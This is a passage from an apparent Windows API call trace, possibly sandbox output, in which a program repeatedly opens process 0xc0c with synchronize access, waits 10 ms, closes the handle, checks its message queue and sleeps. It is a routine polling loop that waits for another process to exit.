0xde8 [0269.380] WaitForSingleObject (hHandle=0xde8, dwMilliseconds=0xa) returned 0x102 [0269.390] CloseHandle (hObject=0xde8) returned 1 [0269.390] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.390] Sleep (dwMilliseconds=0x1) [0269.415] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xde8 [0269.415] WaitForSingleObject (hHandle=0xde8, dwMilliseconds=0xa) returned 0x102 [0269.422] CloseHandle (hObject=0xde8) returned 1 [0269.422] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.422] Sleep (dwMilliseconds=0x1) [0269.438] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xe08 [0269.438] WaitForSingleObject (hHandle=0xe08, dwMilliseconds=0xa) returned 0x102 [0269.454] CloseHandle (hObject=0xe08) returned 1 [0269.454] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.454] Sleep (dwMilliseconds=0x1) [0269.470] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xe08 [0269.470] WaitForSingleObject (hHandle=0xe08, dwMilliseconds=0xa) returned 0x102 [0269.485] CloseHandle (hObject=0xe08) returned 1 [0269.485] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.485] Sleep (dwMilliseconds=0x1) [0269.500] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xe1c [0269.500] WaitForSingleObject (hHandle=0xe1c, dwMilliseconds=0xa) returned 0x102 [0269.517] CloseHandle (hObject=0xe1c) returned 1 [0269.517] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.517] Sleep (dwMilliseconds=0x1) [0269.531] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xe40 [0269.531] WaitForSingleObject (hHandle=0xe40, dwMilliseconds=0xa) returned 0x102 [0269.547] CloseHandle (hObject=0xe40) returned 1 [0269.547] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.547] Sleep (dwMilliseconds=0x1) [0269.563] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xe40 [0269.563] WaitForSingleObject (hHandle=0xe40, dwMilliseconds=0xa) returned 0x102 [0269.580] CloseHandle (hObject=0xe40) returned 1 [0269.580] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.580] Sleep (dwMilliseconds=0x1) [0269.594] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xe40 [0269.594] WaitForSingleObject (hHandle=0xe40, dwMilliseconds=0xa) returned 0x102 [0269.611] CloseHandle (hObject=0xe40) returned 1 [0269.612] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.612] Sleep (dwMilliseconds=0x1) [0269.626] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xe80 [0269.626] WaitForSingleObject (hHandle=0xe80, dwMilliseconds=0xa) returned 0x102 [0269.642] CloseHandle (hObject=0xe80) returned 1 [0269.642] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.642] Sleep (dwMilliseconds=0x1) [0269.656] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xe90 [0269.656] WaitForSingleObject (hHandle=0xe90, dwMilliseconds=0xa) returned 0x102 [0269.674] CloseHandle (hObject=0xe90) returned 1 [0269.674] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.674] Sleep (dwMilliseconds=0x1) [0269.693] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xeb0 [0269.693] WaitForSingleObject (hHandle=0xeb0, dwMilliseconds=0xa) returned 0x102 [0269.703] CloseHandle (hObject=0xeb0) returned 1 [0269.703] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.703] Sleep (dwMilliseconds=0x1) [0269.719] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xeb0 [0269.719] WaitForSingleObject (hHandle=0xeb0, dwMilliseconds=0xa) returned 0x102 [0269.734] CloseHandle (hObject=0xeb0) returned 1 [0269.734] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.734] Sleep (dwMilliseconds=0x1) [0269.760] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xeb0 [0269.760] WaitForSingleObject (hHandle=0xeb0, dwMilliseconds=0xa) returned 0x102 [0269.766] CloseHandle (hObject=0xeb0) returned 1 [0269.766] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.766] Sleep (dwMilliseconds=0x1) [0269.781] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xeb0 [0269.781] WaitForSingleObject (hHandle=0xeb0, dwMilliseconds=0xa) returned 0x102 [0269.797] CloseHandle (hObject=0xeb0) returned 1 [0269.797] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.797] Sleep (dwMilliseconds=0x1) [0269.813] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xeb0 [0269.813] WaitForSingleObject (hHandle=0xeb0, dwMilliseconds=0xa) returned 0x102 [0269.829] CloseHandle (hObject=0xeb0) returned 1 [0269.829] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.829] Sleep (dwMilliseconds=0x1) [0269.844] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xeb0 [0269.844] WaitForSingleObject (hHandle=0xeb0, dwMilliseconds=0xa) returned 0x102 [0269.859] CloseHandle (hObject=0xeb0) returned 1 [0269.860] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.860] Sleep (dwMilliseconds=0x1) [0269.875] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xeb0 [0269.875] WaitForSingleObject (hHandle=0xeb0, dwMilliseconds=0xa) returned 0x102 [0269.891] CloseHandle (hObject=0xeb0) returned 1 [0269.891] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.891] Sleep (dwMilliseconds=0x1) [0269.910] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xeb0 [0269.910] WaitForSingleObject (hHandle=0xeb0, dwMilliseconds=0xa) returned 0x102 [0269.922] CloseHandle (hObject=0xeb0) returned 1 [0269.922] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.922] Sleep (dwMilliseconds=0x1) [0269.944] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xeb0 [0269.944] WaitForSingleObject (hHandle=0xeb0, dwMilliseconds=0xa) returned 0x102 [0269.953] CloseHandle (hObject=0xeb0) returned 1 [0269.953] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.953] Sleep (dwMilliseconds=0x1) [0269.969] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xeb0 [0269.969] WaitForSingleObject (hHandle=0xeb0, dwMilliseconds=0xa) returned 0x102 [0269.985] CloseHandle (hObject=0xeb0) returned 1 [0269.985] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0269.985] Sleep (dwMilliseconds=0x1) [0270.000] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xeb0 [0270.000] WaitForSingleObject (hHandle=0xeb0, dwMilliseconds=0xa) returned 0x102 [0270.016] CloseHandle (hObject=0xeb0) returned 1 [0270.016] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.016] Sleep (dwMilliseconds=0x1) [0270.031] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xeb0 [0270.031] WaitForSingleObject (hHandle=0xeb0, dwMilliseconds=0xa) returned 0x102 [0270.047] CloseHandle (hObject=0xeb0) returned 1 [0270.047] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.047] Sleep (dwMilliseconds=0x1) [0270.067] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xeb0 [0270.067] WaitForSingleObject (hHandle=0xeb0, dwMilliseconds=0xa) returned 0x102 [0270.079] CloseHandle (hObject=0xeb0) returned 1 [0270.079] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.079] Sleep (dwMilliseconds=0x1) [0270.095] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xec4 [0270.095] WaitForSingleObject (hHandle=0xec4, dwMilliseconds=0xa) returned 0x102 [0270.109] CloseHandle (hObject=0xec4) returned 1 [0270.110] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.110] Sleep (dwMilliseconds=0x1) [0270.125] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xec4 [0270.125] WaitForSingleObject (hHandle=0xec4, dwMilliseconds=0xa) returned 0x102 [0270.141] CloseHandle (hObject=0xec4) returned 1 [0270.141] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.141] Sleep (dwMilliseconds=0x1) [0270.159] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xec8 [0270.159] WaitForSingleObject (hHandle=0xec8, dwMilliseconds=0xa) returned 0x102 [0270.173] CloseHandle (hObject=0xec8) returned 1 [0270.173] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.173] Sleep (dwMilliseconds=0x1) [0270.188] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xef8 [0270.188] WaitForSingleObject (hHandle=0xef8, dwMilliseconds=0xa) returned 0x102 [0270.204] CloseHandle (hObject=0xef8) returned 1 [0270.204] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.204] Sleep (dwMilliseconds=0x1) [0270.219] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xef8 [0270.219] WaitForSingleObject (hHandle=0xef8, dwMilliseconds=0xa) returned 0x102 [0270.235] CloseHandle (hObject=0xef8) returned 1 [0270.235] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.235] Sleep (dwMilliseconds=0x1) [0270.252] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xef8 [0270.252] WaitForSingleObject (hHandle=0xef8, dwMilliseconds=0xa) returned 0x102 [0270.266] CloseHandle (hObject=0xef8) returned 1 [0270.266] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.266] Sleep (dwMilliseconds=0x1) [0270.281] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xef8 [0270.281] WaitForSingleObject (hHandle=0xef8, dwMilliseconds=0xa) returned 0x102 [0270.297] CloseHandle (hObject=0xef8) returned 1 [0270.297] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.297] Sleep (dwMilliseconds=0x1) [0270.313] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xef8 [0270.313] WaitForSingleObject (hHandle=0xef8, dwMilliseconds=0xa) returned 0x102 [0270.328] CloseHandle (hObject=0xef8) returned 1 [0270.328] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.328] Sleep (dwMilliseconds=0x1) [0270.344] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xef8 [0270.344] WaitForSingleObject (hHandle=0xef8, dwMilliseconds=0xa) returned 0x102 [0270.359] CloseHandle (hObject=0xef8) returned 1 [0270.360] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.360] Sleep (dwMilliseconds=0x1) [0270.376] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xef8 [0270.376] WaitForSingleObject (hHandle=0xef8, dwMilliseconds=0xa) returned 0x102 [0270.391] CloseHandle (hObject=0xef8) returned 1 [0270.391] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.391] Sleep (dwMilliseconds=0x1) [0270.410] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf14 [0270.410] WaitForSingleObject (hHandle=0xf14, dwMilliseconds=0xa) returned 0x102 [0270.424] CloseHandle (hObject=0xf14) returned 1 [0270.424] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.424] Sleep (dwMilliseconds=0x1) [0270.438] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf1c [0270.438] WaitForSingleObject (hHandle=0xf1c, dwMilliseconds=0xa) returned 0x102 [0270.453] CloseHandle (hObject=0xf1c) returned 1 [0270.453] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.453] Sleep (dwMilliseconds=0x1) [0270.469] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf1c [0270.469] WaitForSingleObject (hHandle=0xf1c, dwMilliseconds=0xa) returned 0x102 [0270.485] CloseHandle (hObject=0xf1c) returned 1 [0270.485] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.485] Sleep (dwMilliseconds=0x1) [0270.500] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf1c [0270.500] WaitForSingleObject (hHandle=0xf1c, dwMilliseconds=0xa) returned 0x102 [0270.516] CloseHandle (hObject=0xf1c) returned 1 [0270.516] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.516] Sleep (dwMilliseconds=0x1) [0270.531] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf1c [0270.531] WaitForSingleObject (hHandle=0xf1c, dwMilliseconds=0xa) returned 0x102 [0270.547] CloseHandle (hObject=0xf1c) returned 1 [0270.547] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.547] Sleep (dwMilliseconds=0x1) [0270.563] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf1c [0270.563] WaitForSingleObject (hHandle=0xf1c, dwMilliseconds=0xa) returned 0x102 [0270.578] CloseHandle (hObject=0xf1c) returned 1 [0270.578] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.578] Sleep (dwMilliseconds=0x1) [0270.594] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf1c [0270.594] WaitForSingleObject (hHandle=0xf1c, dwMilliseconds=0xa) returned 0x102 [0270.609] CloseHandle (hObject=0xf1c) returned 1 [0270.609] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.610] Sleep (dwMilliseconds=0x1) [0270.625] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf1c [0270.625] WaitForSingleObject (hHandle=0xf1c, dwMilliseconds=0xa) returned 0x102 [0270.641] CloseHandle (hObject=0xf1c) returned 1 [0270.641] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.641] Sleep (dwMilliseconds=0x1) [0270.656] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf1c [0270.656] WaitForSingleObject (hHandle=0xf1c, dwMilliseconds=0xa) returned 0x102 [0270.672] CloseHandle (hObject=0xf1c) returned 1 [0270.672] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.672] Sleep (dwMilliseconds=0x1) [0270.688] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf1c [0270.688] WaitForSingleObject (hHandle=0xf1c, dwMilliseconds=0xa) returned 0x102 [0270.705] CloseHandle (hObject=0xf1c) returned 1 [0270.705] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.705] Sleep (dwMilliseconds=0x1) [0270.719] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf1c [0270.719] WaitForSingleObject (hHandle=0xf1c, dwMilliseconds=0xa) returned 0x102 [0270.735] CloseHandle (hObject=0xf1c) returned 1 [0270.735] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.735] Sleep (dwMilliseconds=0x1) [0270.763] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf1c [0270.763] WaitForSingleObject (hHandle=0xf1c, dwMilliseconds=0xa) returned 0x102 [0270.766] CloseHandle (hObject=0xf1c) returned 1 [0270.766] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.766] Sleep (dwMilliseconds=0x1) [0270.781] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf1c [0270.781] WaitForSingleObject (hHandle=0xf1c, dwMilliseconds=0xa) returned 0x102 [0270.797] CloseHandle (hObject=0xf1c) returned 1 [0270.797] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.797] Sleep (dwMilliseconds=0x1) [0270.813] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf1c [0270.813] WaitForSingleObject (hHandle=0xf1c, dwMilliseconds=0xa) returned 0x102 [0270.828] CloseHandle (hObject=0xf1c) returned 1 [0270.828] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.828] Sleep (dwMilliseconds=0x1) [0270.847] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf28 [0270.847] WaitForSingleObject (hHandle=0xf28, dwMilliseconds=0xa) returned 0x102 [0270.859] CloseHandle (hObject=0xf28) returned 1 [0270.860] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.860] Sleep (dwMilliseconds=0x1) [0270.877] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf30 [0270.877] WaitForSingleObject (hHandle=0xf30, dwMilliseconds=0xa) returned 0x102 [0270.891] CloseHandle (hObject=0xf30) returned 1 [0270.891] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.891] Sleep (dwMilliseconds=0x1) [0270.908] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf30 [0270.908] WaitForSingleObject (hHandle=0xf30, dwMilliseconds=0xa) returned 0x102 [0270.922] CloseHandle (hObject=0xf30) returned 1 [0270.922] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.922] Sleep (dwMilliseconds=0x1) [0270.949] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf30 [0270.949] WaitForSingleObject (hHandle=0xf30, dwMilliseconds=0xa) returned 0x102 [0270.953] CloseHandle (hObject=0xf30) returned 1 [0270.953] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.953] Sleep (dwMilliseconds=0x1) [0270.975] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf48 [0270.975] WaitForSingleObject (hHandle=0xf48, dwMilliseconds=0xa) returned 0x102 [0270.984] CloseHandle (hObject=0xf48) returned 1 [0270.984] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0270.984] Sleep (dwMilliseconds=0x1) [0271.000] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf48 [0271.000] WaitForSingleObject (hHandle=0xf48, dwMilliseconds=0xa) returned 0x102 [0271.020] CloseHandle (hObject=0xf48) returned 1 [0271.020] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.020] Sleep (dwMilliseconds=0x1) [0271.033] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf64 [0271.033] WaitForSingleObject (hHandle=0xf64, dwMilliseconds=0xa) returned 0x102 [0271.052] CloseHandle (hObject=0xf64) returned 1 [0271.052] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.052] Sleep (dwMilliseconds=0x1) [0271.064] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf94 [0271.064] WaitForSingleObject (hHandle=0xf94, dwMilliseconds=0xa) returned 0x102 [0271.078] CloseHandle (hObject=0xf94) returned 1 [0271.078] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.078] Sleep (dwMilliseconds=0x1) [0271.095] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf98 [0271.095] WaitForSingleObject (hHandle=0xf98, dwMilliseconds=0xa) returned 0x102 [0271.110] CloseHandle (hObject=0xf98) returned 1 [0271.110] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.110] Sleep (dwMilliseconds=0x1) [0271.125] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf98 [0271.125] WaitForSingleObject (hHandle=0xf98, dwMilliseconds=0xa) returned 0x102 [0271.141] CloseHandle (hObject=0xf98) returned 1 [0271.141] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.141] Sleep (dwMilliseconds=0x1) [0271.156] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf98 [0271.156] WaitForSingleObject (hHandle=0xf98, dwMilliseconds=0xa) returned 0x102 [0271.172] CloseHandle (hObject=0xf98) returned 1 [0271.172] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0271.172] Sleep (dwMilliseconds=0x1) [0271.188] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xf98 [0271.188] WaitForSingleObject (hHandle=0xf98, dwMilliseconds=0xa) returned 0x102 [0271.204] CloseHandle (hObject=0xf98) returned 1 [0271.204] 